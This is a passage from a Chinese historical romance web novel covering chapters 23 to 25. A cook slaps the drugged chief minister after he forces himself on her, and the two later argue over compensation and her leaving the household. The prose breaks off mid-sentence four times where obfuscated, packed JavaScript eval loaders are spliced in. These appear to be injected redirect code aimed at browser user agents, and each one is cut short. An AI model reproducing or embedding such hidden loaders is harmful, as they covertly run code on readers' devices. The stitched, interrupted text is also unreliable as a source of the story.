;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏慈被他看得脸颊发烫，心慌意乱，强自镇定地舀起一勺药汁，小心吹凉了，递到他唇边：“大人，喝了药就不难受了。” 温砚礼依言张口，咽下几勺，眉头却越皱越紧。 待到一半，他忽然偏开头，声音沙哑得厉害：“苦，难喝。” “良药苦口，大人再喝些，很快就好了。”苏慈像哄孩子般耐心劝着，又将勺子递过去。 就在此时，温砚礼忽地挥手，将苏慈手中的药碗打翻在地，漆黑的药汁溅湿了裙摆和地毯。 “啊。”苏慈惊呼一声，还未反应过来，只觉天旋地转，滚烫铁臂揽住她的腰肢，眨眼间便将她带入床榻之上。 温砚礼一个翻身，将她困在身下。 滚烫体温隔着衣料源源不断地传来，连带着灼热的呼吸喷洒在她颈间，他身上独有的清冽气息将她包围彻底。 他垂眸看着她，眼神混乱炽烈，似在辨认，又似已被欲念吞噬。 “大、大人。”苏慈吓得浑身僵硬，脸色一会白一会红地久久未退，呼吸也变得急促。 温砚礼缓缓低下头，微凉唇瓣覆上了她吓得微张的樱唇。那是一个带着药味和灼热气息的吻，生涩却霸道。 一吻稍歇，他抵着她的额头，呼吸沉重灼热，沙哑嗓音里带着极致的克制与：“得罪了。”说罢，一只手已胡乱地扯向她腰间的裙带。 苏慈忽地愣住，随即反应过来，手脚并用地挣扎起来：“放开，大人您清醒点！” 温砚礼好似完全听不见，含糊地在她耳边呓语：“难受。” 苏慈又羞又急，情急之下，也不知哪来的力气和胆量，忽地扬起手，朝着那张俊美却意识昏沉的脸，狠狠扇了过去。 “啪”的一声脆响。 温砚礼的动作戛然而止，他晃了一下，随即直接倒向一侧，昏睡过去。 寝室内霎时死寂。 23. 三鲜汤 苏慈愣愣地看着自己发红的手掌，再看向躺在身旁一动不动的温砚礼，心头只剩一个念头：完了，她竟然把大人给打晕了。 她颤抖着手探了探他的鼻息，还好，呼吸虽急促，但还算平稳。只是他脸上那不正常的红晕还未退，身上也烫得吓人。 苏慈定了定神，慌忙起身，也顾不得收拾地上的狼藉，重新拧了冷帕子，小心翼翼地替他擦拭额头、脸颊和脖颈，盼着能驱散一些高热。 一颗心怦怦直跳，想着他明日醒来最好什么都不记得，否则，她真不知该如何是好了。 次日，温砚礼醒来时脑袋昏沉得厉害，左脸颊还隐隐作痛，他抬手揉了揉，触感麻麻的，像是被人掴过。 他凤眸微转，忽见苏慈趴在窗边的竹榻上，杏色比甲皱巴巴地裹着身子，像是守了一夜。 见此幕，他突然坐起身，昨夜零碎的记忆不受控地涌入脑海，祖母下药，难以克制的燥热，被打翻的药碗，将她压入锦被的触感，然后是颊边火辣辣的痛感，之后便再无知觉。 这时，门外响起了福安小心翼翼的声音：“大人可起身了？” “进来。”温砚礼低声应了句，只是声音沙哑得厉害。 福安刚推门，恰见自家大人站在镜前整理衣领。当看清那道清晰的五指红痕后，他倒抽一口凉气，连忙低头掩饰震惊。 这苏慈姑娘看着温婉，下手竟这般狠辣。 他捧着盥洗用具靠近，声音发虚，““昨夜老夫人那边派人来过一趟，想问、问情况，被小人寻了个由头挡回去了。” 温砚礼用青盐擦着牙，闻言冷冷瞥他一眼。 福安吓得手一抖，漱盂险些打翻，心里叫苦不迭。这巴掌印今日还要上朝，可如何是好。 苏慈醒来时已是日上三竿。意识回笼，她霎时坐直身，发现屋内早已收拾整齐，连昨夜打翻的药碗碎片都不见了踪影。 她慌忙整理衣裳，发现领口处还有淡淡药渍。 记忆如潮水般涌来，男人滚烫的呼吸，撕扯的衣带，还有自己那记响亮的耳光。 “完了。”她小声呜咽着，整个人像受了惊的小兽跌跌撞撞地，做贼似的溜出了正院，一路小跑回自己的小院。 作为厨娘本不该留宿主院，若是被人发现，更何况她打的可是当朝首辅！ 关上房门，她对着铜镜仔细检查，见身上并无异样才稍松口气。 镜中人儿云鬓松散，脸上还带着睡痕，圆睁的眸里满是惶惶不安。若是大人追究起来，莫说这厨娘的差事，怕是性命都... 一整日，温砚礼坐在值房里，面前的公文摊开许久，一字也未看进去，朱笔悬在半空，墨点滴落污了纸页也未曾察觉。 素来冷硬的心绪，此刻罕见地纷乱如麻，昨夜种种，清晰又模糊地反复浮现。 “温相的脸上可是不适？”编修小心翼翼地问道，眼神第无数次瞥向他左颊那道印子。 温砚礼抬手用指节蹭了蹭脸颊：“无妨，不慎碰了下。”但那清晰的五指红痕，岂是碰一下能有的。 他心下再清楚不过，这一巴掌，定是苏慈所赐。 至于缘由，除了昨夜那番失控的冒犯，还能有什么。思及此，他顿觉一阵头疼，并非因那早已不疼的巴掌，而是因这变得棘手的关系。 他虽从未近过女色，却也知昨夜之事，于女子而言是何等重大的亏欠。 他该如何面对她，补偿？又该如何补偿？种种思绪纷杂，扰得他心烦意乱。 回到府中，他本欲径直去寻苏慈，脚步却在通往她小院的岔路口顿了顿。 恰在此时，慈晖堂的嬷嬷来请，道老夫人有请。 温砚礼目光微冷，转身便朝慈晖堂走去。 老夫人惴惴不安地等着，一见他进来，最先看到了他左颊那未完全消退的掌印，吓得倒抽一口凉气，手中的茶盏都晃了晃。神情顿时懊悔，她起身道：“景言，你、你这脸，祖母、祖母对不住你！昨日实在是、实在是被逼得没了法子，才出此下策。” 温砚礼面无表情地看着她，随即“嗯”了声，疏离冷漠至极。 老夫人深知这个孙儿性子有多冷硬记仇，眼里最是容不得沙子，尤其厌恶被人算计。 见他这般情状，心下更是后悔不迭，连声道：“祖母知错了，以后再不敢逼你了，你的婚事再不过问了，你莫要再气祖母了，可好？” 温砚礼无心与她多言，敷衍地应了几句，便起身告辞，似是一刻也不愿多待。 他快步走回正院，心中那点关于如何面对苏慈的思绪愈发清晰。 无论如何，错在他，他需得给她一个交代。 刚踏入院门，便见那抹纤细的身影拿着小喷壶，心不在焉地给廊下的几盆兰草浇水。 一见他回来，她像是受了惊的兔子，手一抖，喷壶“哐当”一声掉在地上，清水洒了一地，转身便要跑。 “苏慈，你站住。” 苏慈脚步一僵，背对着他的膀微微缩起，恨不得找个地缝钻进去。 温砚礼几步上前，握住她的手腕，将她半拉着带进了书房，反手关上了门。 室内一时静得落针可闻。 苏慈始终低着头，不敢看他，眼神躲闪间，不可避免地瞥见他左颊上那隐约可见的红痕，顿时脸颊烧得更厉害，心中尴尬懊悔交织。她当时怎么就、怎么就下手那么重？ 温砚礼看着她这副鸵鸟模样，耳根也有些发热，他清了清嗓子，试图打破这尴尬的沉默：“昨夜…” 他本意是想问“昨夜我是否冒犯你至深”，才引得你动手。 谁知他刚吐出这两个字，苏慈便猛地抬起头，急急打断他，声音都带了哭腔：“大人我错了，奴婢知错了，奴婢不该、不该打您，求您恕罪。” 说完，她又飞快地低下头，恨不得把脸埋进胸口。 空气再次凝固，比之前更加尴尬。 温砚礼被她莫名的请罪弄得一愣，随即心下了然，原来她是在怕这个。 他深吸一口气，压下心头那点异样，语气认真：“不，你没错。昨夜之事，是本官对不住你，你那一掌…打得好。”若非那一掌带来的短暂清醒，后果恐怕更不堪设想。 苏慈没想到他会这样说，怔怔地抬起头，对上他那双清亮的墨眸，里面似乎没有了平日的冰冷，反而带着歉然。 她心口微微一松，又泛起一丝酸涩，下意识地小声问：“那、那您的脸还疼吗？” “早不疼了。”温砚礼移开视线，语气恢复了些许冷静，“既是我冒犯了你，于情于理，都该予你补偿。你可有什么想要的？或是…”他顿了顿，“或是银钱田地，只要你开口。”这话本是想承担责任，给她足够的保障，划清这意外的界限。 然而听在苏慈耳中，却觉得昨夜那般亲密纠缠，只是一桩可以用银钱计价的意外事故。 原来他这般郑重其事，并非因为对她有丝毫别样情愫，仅仅是为了负责，为了求个心安理得。 方才那点松快和酸涩登时消失得无影无踪，随即漫上了几分失落，密密麻麻地缠绕上心头。她忽然觉得有些喘不过气。 “不用了。大人不必如此。奴婢、奴婢其实也没吃什么亏。”这话出口，她自己都觉得脸上臊得慌，却又倔强地不肯接受他那仿佛施舍般的补偿。 “你…”温砚礼蹙眉，刚要开口再说些什么。 苏慈已飞快地屈膝行了一礼，打断了他：“时辰不早，奴婢该去准备晚膳了。” 说罢，也不等他回应，转身快步走了出去。 温砚礼站在原地，看着她可以称得上是落荒而逃的背影，眉头紧锁。因为他能清晰地感觉到，她不高兴了。 可是为什么？ 他提出补偿，她不是应该欣然接受吗，难道她不想要银钱？还是嫌少，抑或是…想要别的？ 小厨房里，灶火燃得正旺，但苏慈有些心不在焉的。 她握着汤勺，机械地搅动着砂锅里奶白色的三鲜汤，脑子里反复回荡着温砚礼方才那些话。 心口像是堵住了一口热气，闷闷地钝痛。她拿起盐罐，思绪飘忽间，竟抖了比平日多出不少的盐进去。 “哎哟，苏慈姑娘！”一旁的张嫂子眼尖，惊呼一声，“这盐怕是下重了。” 话音刚落，苏慈如初醒般回神，尝了尝汤味，咸得发苦，这才惊觉自己闯了祸，手忙脚乱地想补救，又是加水又是加些青菜想冲淡咸味，终究是杯水车薪。 “姑娘这是怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虽是他提出补偿，但亲耳听到她如此明确地规划着离开，这心口就分外烦躁，堵得他极为不适。 他放下茶杯：“你当真想出府？” “是。”苏慈低下头，避开他锐利的目光，“府中旧例，婢女年满二十一便可赎身出府。奴婢今年十九了。” “呵。”温砚礼忽然冷笑一声，将筷子重重搁在桌上，“好。既然这便是你想要的，本官便成全你。” 他紧紧盯着她，想从她低垂的眉眼间找出一丝一毫的犹豫或不舍，然而什么都没有。 她只是安静地坐着，仿佛早已下定决心。 苏慈指尖蜷缩，刚想低声说一句“谢大人恩典”，却见温砚礼已经站起身，面色阴沉地拂袖走向书房，砰的一声关上了门。 留下苏慈一人对着满桌未动多少的菜肴，怔怔地站在原地。 一股后知后觉的委屈漫上心头，她看着那扇紧闭的书房门，鼻尖微微发酸，不解地嘟囔：“明明、明明是他自己提出来的，又生的什么气。” 书房内，烛火摇曳，映着一室冷寂。 温砚礼坐在紫檀木书案后，面前摊开的紧急公文却一个字也看不进去。他烦躁地将笔掷于一旁，站起身，在书房里来回踱步。 他原先想着，不过是个厨娘，既已是他的人，留在府里便是。赐她宅田，给她银钱，让她安稳度日，难道还不够？她竟还心心念念着要走。 一想到她期满后就会毫不犹豫地请辞离开，从此再无人在他用膳时轻声细语地说着药膳的温凉习性，再无那抹纤细的身影在旁安静陪伴，他就觉得心口那股邪火窜得更高，几乎要压抑不住。 他早已习惯了她的存在，习惯了她手下那些能勾起他些许食欲的清淡菜肴。而他，最厌恶的便是习惯被打破。 越想越气，他一拳砸在书案上，震得笔架上的狼毫笔颤了几颤。 但是她心心念念想着走，那他何必强留。 他停住脚步，重重坐回椅子里，扬声道：“福安。” 一直守在门外的福安闻声推门而入，小心翼翼地觑着自家主子那阴沉得可怕的脸色，躬身问道：“大人，您有何吩咐？” 温砚礼手指敲击着桌面，声音冷硬：“去，找赵福，让他立刻把苏慈的卖身契取来。”他顿了顿，咬着牙一字一句道，“她既心心念念想着出府，便不必等到二十一了，成全她，让她即刻收拾东西走。” 24. 醒酒汤 福安闻言，眼皮霎时一跳。他偷偷抬眼，只见自家大人面色铁青，眉眼间戾气深重，可那紧抿的唇角深处，分明藏着憋闷，这哪里是真想放人走的样子。 他壮着胆子，小心翼翼地问道：“大人，您、您方才可是与苏慈姑娘说了什么？怎地突然就要…” 温砚礼一个冷眼扫过来，眉梢凌厉地挑起，眼看就要发作。 福安连忙缩了缩脖子，急声解释：“小人多嘴，小人只是想着，若是知道症结所在，或许、或许能为大人分忧解难一二？”他伺候温砚礼多年，深知这位主子虽性情冷硬，却并非完全不讲情理之人，尤其在苏慈的事上，早已屡破惯例。 温砚礼盯着他看了片刻，胸口的郁气亟待宣泄，终是冷着脸，将方才与苏慈的对话，尤其是他那番会赔偿的话和苏慈回应想要出府开食肆的话，简略地说了一遍。 福安一听，心里顿时明了，不由暗暗叫苦。他拍了下大腿，叹道：“哎哟我的大人！您、您怎么能这么跟苏慈姑娘说呢。” 温砚礼蹙眉，不解其中深意：“如何不能说，本官难道不该赔偿？” “赔偿自然该赔偿！可是、可是这话不能这么说啊。”福安急得汗都快出来了。 见温砚礼没有发怒，福安赶紧解释：“大人，您想啊，苏慈姑娘一个清清白白的女儿家，遇上昨日那般、那般意外，心里定然是又怕又委屈。您这时候上去就跟人说‘我对不住你，可以给你赔偿’，这、这听起来哪是怜惜啊？这不明摆着是怕她缠上您，急着拿银钱地位打发人，跟她划清界限嘛。姑娘家面皮薄，心思又细，听了这话，能不伤心难过吗？她回绝您，说要出府，只怕是、是赌气伤心话居多啊！” 温砚礼愣住了，眉头蹙得更紧。他从未从这个角度想过问题。在他看来，承担责任，给予补偿是天经地义的事情，何错之有？ “那依你之见，该当如何？”他声音里的冷硬不自觉地消散了些许，转而带上了些许不易察觉的请教意味。 福安见他听进去了，松了口气，忙道：“这、这自然是要好好解释，把误会说开。最重要的是得让苏姑娘明白您的心意啊！您得告诉她，您留她，不是因为责任，而是因为、因为心里有她，舍不得她走！”说完这话，他自己都觉得有些胆大包天。 温砚礼心头那点阴霾随着这番话渐渐消散，他耳根倏地染上一片薄红，连带着脖颈都有些发热。他挥了挥袖，像是要驱赶什么不自在的情绪，语气重新变得冷硬：“胡言乱语，滚出去。” 福安被他这反应弄得一愣，随即心下暗笑，知道这是说中了心思，大人这是不好意思了。他连忙应是，退到门口，又想起什么，回头小心翼翼地问：“那，大人，赵管家那边…” “暂且不必。”温砚礼没好气地喝道。 “是是是，小的这就滚，这就滚。”福安赶紧退了出去，轻轻带上了房门。 书房内重归寂静，温砚礼独自坐在椅中，指尖一下，又一下地摩挲着桌沿，耳边反复回响着福安的话。 起初，他确实只将她视为一个手艺尚可，能让他勉强进食的厨子。 可不知从何时起，他已习惯了用膳时她在身旁轻声细语的陪伴，习惯了她身上那股淡淡的皂角清气，甚至也习惯了抬眼就能看见那抹纤细的身影。 他性情孤僻，厌世嫉俗，能入他眼近他身的人寥寥无几。可一旦被他划入自己的领域，他便极难容忍失去。 苏慈早已在不知不觉中，成了他习惯的一部分。 既然是他习惯了的人，那便绝不能放走。 - 腊月三十的夜，寒气裹着零星爆竹声钻进小院。 老太太与柳依依前两日已启程归乡，温砚礼公务缠身，连送行都未能得空，这府里好似骤然空落了许多。 连着几日，苏慈与温砚礼打照面的次数屈指可非，即便见了，也不过是几句关于吃食的简单问答，他神色总是倦怠淡漠，她便也愈发谨慎沉默。 到了除夕当夜，府邸里反倒比平日更显冷清。大多仆役得了恩典，领了赏钱各自聚去守岁。 宫里有盛大的宫宴，温砚礼一早就被接了进去。 苏慈独自用了些简单的晚饭，一碗米饭，一碟冬笋炒肉，并一道她给自己特意做的糖醋荷包蛋，算是过了年。 夜色渐浓，她独自坐在自己那间小屋的炕沿上，听着外头远远传来的喧闹声。 透过糊着高丽纸的窗格，能望见夜空中不时炸开的烟花，五彩斑斓，映亮了一小片天。 真好看，她想着，唇角微微扬起，可那笑意像是浮于表皮。 屋里只有一盏油灯，豆大的火苗跳跃着，将她的影子拉得长长的，投在灰白的墙壁上，透着几分孤清。 在这万家团圆的守岁夜，她一个人对着窗外盛大的热闹，心里头那点说不出的孤单，此刻就像潮水一样细细密密地漫上来。 她抱紧了膝盖，把下巴搁在膝头，望着那转瞬即逝的烟火出神。 正望着窗外出神，身后的房门“吱呀”一声被推开了，带进一阵凛冽寒风与浓重酒气。 苏慈讶然回头，只见温砚礼斜倚在门框上。他穿着一身绯色的云纹坐蟒袍，似是刚从宫宴上回来，玉带未解，官帽却除下了，墨发微有散乱。 俊美的脸上带着倦意，一双眸子比平日更黑，映着跳动的灯焰，眼尾泛着些许酒意熏染的薄红。 “大人？”苏慈忙站起身，有些无措地敛衽行礼，“您、您回来了，宫宴结束了吗，可需要醒酒汤？” 温砚礼看着她，眸色沉沉，带着酒后的凝滞，却又十分专注。 他“嗯”了一声，声音比平日更低哑，自顾自走到桌边那张唯一的圈椅上坐下，揉了揉眉心。 苏慈连忙应了声“婢子这就去”，快步去了小厨房。 好在灶上还温着热水，她手脚麻利地切了片老姜，又撒了点晒干的橘皮，很快端着一碗热气腾腾的醒酒汤回来。 她将白瓷碗轻轻放在他手边的桌上。 “大人，汤好了。” 温砚礼却没动，只是看着她。 屋子里静得很，外头的爆竹声似乎也遥远了。 他忽然从怀中取出一个信封，抽出里面一张薄薄的纸，递到她面前。 “年前事忙，忘了给你。”他的声音没什么起伏，“你上次说，想赎身出府。这是你的身契。” 苏慈愣住了，眼睛微微睁大，目光落在那张决定她命运的纸上。 桑皮纸，朱红官印，墨笔写就着她的名字和籍贯。她日思夜想，以为要耗费多年心血才能换来的东西，就这样轻易地出现在眼前。 在这本该与家人团聚守岁的夜晚，她拿到了自由身，却也可能立刻就要离开这唯一能遮风避雨的地方，再次变成孤零零的一个人。 从此天涯陌路，与这府里的一切，与眼前这个人，再无瓜葛。 心口像是泡在酸水里，苦涩难言。她眼圈一热，赶紧低下头，视线变得模糊起来，眼泪渐渐地蓄满眼眶，眼看就要滴落。 她缓了一口气，努力压下喉间的哽咽，伸出发颤的手想去接那张身契。 “多谢大人。”声音已经带上了哭腔。 指尖即将触到纸张的瞬间，手腕被一只温热干燥的大手牢牢握住。 苏慈惊得忘了哭，抬起泪眼朦胧的脸。 只见温砚礼面色紧绷，下颌线咬得死紧，眼底翻涌着她看不懂的浓沉情绪：“你还真的想接？” “大人？”苏慈完全懵了，手腕被他攥得有些发疼，泪珠还悬在睫毛上，要落不落，“这、这不是您给奴婢的吗？”她不明白，他这又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“出府？”温砚礼眉头拧得死紧，“你出府去做什么？待在这里，是短了你吃穿还是亏待了你。”他眸光灼灼地盯着她，仿佛她说了什么大逆不道的话。 苏慈被他看得心慌，低下头，手指绞着衣带，声音越发得轻：“可是奴婢总不能一辈子都待在府里呀，万一、万一以后遇到心仪的男子，总要…” “胡闹。”温砚礼断然打断她，脸色倏地一沉，攥着她手腕的力道也下意识收紧，“谁准你想这些了？” 苏慈被他吓得噤声，手腕上传来的痛感让她轻轻吸了口气。 温砚礼意识到自己反应过激，生硬地转换了话题：“既然你不要金银补偿，那本官许你一个愿望，你想要什么？” 愿望？苏慈怔怔地抬头看他。 烟火暂歇，屋内只剩烛光安稳照亮。他侧着脸，轮廓在光影里少了几分平日的冷厉，还有些柔和。 苏慈心口怦怦跳了起来，思虑片刻还是老实道：“开一间小食肆，能做自己喜欢的吃食，是苏慈一直以来的念想。” 温砚礼闻言转回头，看着她晶亮还带着湿意的眼眸，那里面有着纯粹的渴望，他沉默了。 就在苏慈以为他会斥责她异想天开时，他利落地开了口：“行，明日让赵福去物色合适的铺面。” 苏慈的眼睛霎时睁得圆圆的，嘴角忍不住轻轻上扬，露出惊喜的笑意：“真的？” “不过，”温砚礼语气一转，“铺子给你，但你人得留在府里。何时开张，如何经营，日后再说。” 这已是他能做出的最大让步和…挽留。 苏慈看着他，心头百感交集，那点孤单早已被这些惊喜得七零八落。她慢慢地点了点头：“嗯，奴婢多谢大人。” 25. 枣泥糕 夜渐深，苏慈端着空了的醒酒汤碗轻手轻脚出来，想去小厨房再添些热水。 檐下灯笼在夜风中微微摇曳，映得廊下光影朦胧。 刚拐过廊角，差点撞上一人。 “哎哟，”福安笑嘻嘻地站稳，瞧着苏慈手里空碗，挤眉弄眼道：“苏慈姑娘，伺候大人用醒酒汤呢？” 苏慈脸一热，垂下眼睫：“福安哥莫要胡说。” 福安嘿嘿一笑，凑近了些，声音里满是了然：“大人可是宫宴未散就急着回来了呢。我就在跟前伺候，听得真真儿的，有位大人正说着家中歌姬舞姿绝妙，要请咱们大人过府鉴赏呢，大人就搁了酒杯，说府中尚有要事，起身便走了。” 顿了顿，瞧着苏慈愈发低垂的侧脸，那玲珑的耳垂都染上了绯色，他又道，“要我说啊，大人准是想着，这大年夜的，有人怕是独自在府里冷清着呢。” 苏慈正愣神，听得这话，心里像被什么柔软的东西轻轻撞了一下，荡开层层涟漪。她垂下眼睫，盯着碗沿残留的一点汤渍：“福安哥快别浑说了。” 话音未落，屋里头便传来一声带着点凉意的轻咳，紧接着是温砚礼那把清冷嗓音，隔着门扉也清晰迫人：“福安，可是夜里差事太清闲了？” 福安吓得脖子一缩，慌忙对着房门方向躬身赔笑：“不敢不敢，小的这就去前头看看灯火。” 说完，对苏慈飞快地做了个“新年康健”的口型，提着灯笼小跑着溜了，脚步声很快消失在廊庑尽头。 苏慈端着空碗立在原地，夜风吹拂着她额前的碎发，心口那点软热的涟漪却久久未平。 她吸了一口清冷的空气，转身推门重回屋内。 屋内烛火通明，温砚礼已换下那身绯色朝服，只着一件家常的杭绸直身，坐在窗下的紫檀木书案后。 案上堆着几叠公文，他微垂着头，正执笔在一份奏疏上写着什么，神情专注，好似是在处理紧急公务，侧脸被跳跃的烛光勾勒得清俊异常。 苏慈将碗轻轻放在一旁的矮几上，脚步放得极轻，还是忍不住轻声问道：“大人，这都除夕了，宫里不是放了年假么，怎的还要忙这些？” 温砚礼并未抬头，笔尖流畅地划过纸面，语调平淡：“河南八百里加急递来的雪灾条陈，明日一早就要拟出票拟送进宫里去，耽搁不得。” 苏慈恍然，原来即便是除夕，他也不得清闲。 看着他专注的侧影，她忽然想起福安哥方才的话，心尖那点柔软又冒了出来，指尖蜷了蜷，声音轻柔：“大人，您是因为宫宴无聊，才提前回来的么？” 温砚礼书写的动作顿住，随即又继续，语气听着随意：“嗯，席间喧闹，无甚意思。”他抬起眼皮瞥了她一眼，很快又落回公文上，“你别多想。” 苏慈看着他淡然的样子，低低“哦”了一声，唇角弯起柔和的弧度。 她安静地走到书案一侧，拿起墨锭，就着那方端石砚，轻轻地研磨起来：“那奴婢就在这儿陪着大人，大人若渴了饿了，也好有个支应。” 温砚礼没有应声，只是那微蹙的眉宇，在跳跃的烛光下，似乎舒展了几分。 - 大年初一，天色方晓，城内爆竹碎红还未扫尽，苏家宅子里已是红烛高烧，暖炉生烟。 苏父穿着件簇新的宝蓝色杭绸直裰，坐在正堂上首的交椅上，志得意满地捻着胡须。 下首儿子苏旺也是一身绛色缎面比甲，正拿着银箸去夹桌上堆叠的枣泥糕。 女眷们戴着珠翠朵儿，穿着鲜亮袄裙，捧着浸了屠苏酒的柏叶杯，笑语晏晏。 自年前从首辅府那遭罪里脱身，又恰逢年节，苏家上下总算缓过口气，透着股劫后余生的奢靡。 忽地，门外一阵急促马蹄声打破了满院祥和，紧接着便是沉重拍门声，如擂战鼓。 仆役刚拔开门闩，一群侍卫便鱼贯而入，分列两侧。 最后迈进门槛的，正是周然。 他未着官袍，只一身墨色劲装，外罩墨狐大氅，目光如炬地扫过满堂锦衣玉食，唇角噙着丝冷嘲。 “噗通”一声，苏父手中的半块枣泥糕掉在织金地毯上，他连滚带爬地扑下座位，抖衣而颤：“大、大人恕罪，不知、不知小民何处触犯王法，劳动大人大年初一亲临。” 苏旺及一众家眷也早已吓得面无人色，跟着跪倒一片，堂内环佩乱响。 周然负手立于堂中，声音平稳透着重压：“今日来，只问一事，你们可识得一名唤作苏慈的女子？” 闻得此名，苏家几人先是一愣，随即苏老夫人按捺不住，尖声咒骂起来：“可是那灾星！扫把星，定是她在何处又行了那狐媚子勾当，攀扯了贵人，这才累得大人又来寻我家晦气，大人明鉴，我家与她早无干系。” “哦？”周然眼神微眯，打断她的哭嚎，“既曾是亲眷，她籍贯何处？家中还有何人？” 苏父冷汗涔涔，伏地不敢抬头，颤声道：“回、回大人，那苏慈实是几百里外一远房表亲所出，平日从无走动，情分疏淡得很。她、她自家的事，小民着实不知，她亦从未细说。” 周然面色一沉，上前一步：“你们可知，对当朝官员隐瞒实情，该当何罪？”他声音陡然转厉，“看来不上些手段，你们是不肯吐实了。” 一旁侍卫闻言，铁尺已半出鞘。 那苏老夫人见状，一时瘫倒在地，捶胸顿足，放声哭嚷起来：“没天理了啊，大年初一大人就要动私刑，我等小民虽贱，却也是当朝子民，便是真有错处，也须得府衙来审，真是无法无天了！” 周然脸色霎时变得极为难看。当朝律法对司法程序确有约束，皇城司虽权势熏天，亦忌惮物议。 此事若真闹将起来，引来邻里围观，确为不美。 他冷哼一声：“今日便罢，若教本官知晓你们有半句虚言，哼！”语带无尽威胁，旋即袍袖一拂，带着众侍卫转身离去。 直到那骇人的脚步声消失在门外，苏家人才如同虚脱般瘫软下来。 苏旺惊魂未定地搀起软倒在地的老父，压低声音急问：“爹，方才为何不对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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福安躬身，声音压得低：“回大人的话，周然大人今日去了苏家，打听苏姑娘的家世来历。” 温砚礼眼神微凝，示意他继续。 “但那苏家人像是吓破了胆，咬死了只说苏慈姑娘是远房亲戚，平日不走动，对其籍贯家人一概不知。周然大人威吓了几句，那家老妇撒起泼来，周然大人顾忌着不好硬来，便先回来了。” 福安略一迟疑，抬眼觑着温砚礼的神色，“大人，苏家人这反应倒像是怕极了什么，而且周然大人是二皇子府上的常客，他这般急切打听苏姑娘底细，会不会是姑娘的家世另有什么隐情，还牵扯到了那头？” 温砚礼没有当即回应，而是说了句不相关的话：“今日天色倒好。”片刻后，才转而问道，“上次湖州刺杀那事的线索，查得如何？” 福安面色一凛，忙回道：“回大人，我们的人顺着线索摸到一个暗桩，但人去楼空，不过有附近一个更夫那日隐约听到那伙人撤离时交谈，他说听着不像是中原口音，用词也有些古怪。” “哦？”温砚礼眉梢微挑，“外邦？” 福安脸色凝重起来：“大人，您说会不会是那边…”话未说完，温砚礼已抬起手，制止了他。 “慎言。”温砚礼语气沉了下来。 福安立刻躬身低头：“是小的失言了。” “继续查，有任何进展，即刻来报。”温砚礼吩咐道。 “是。”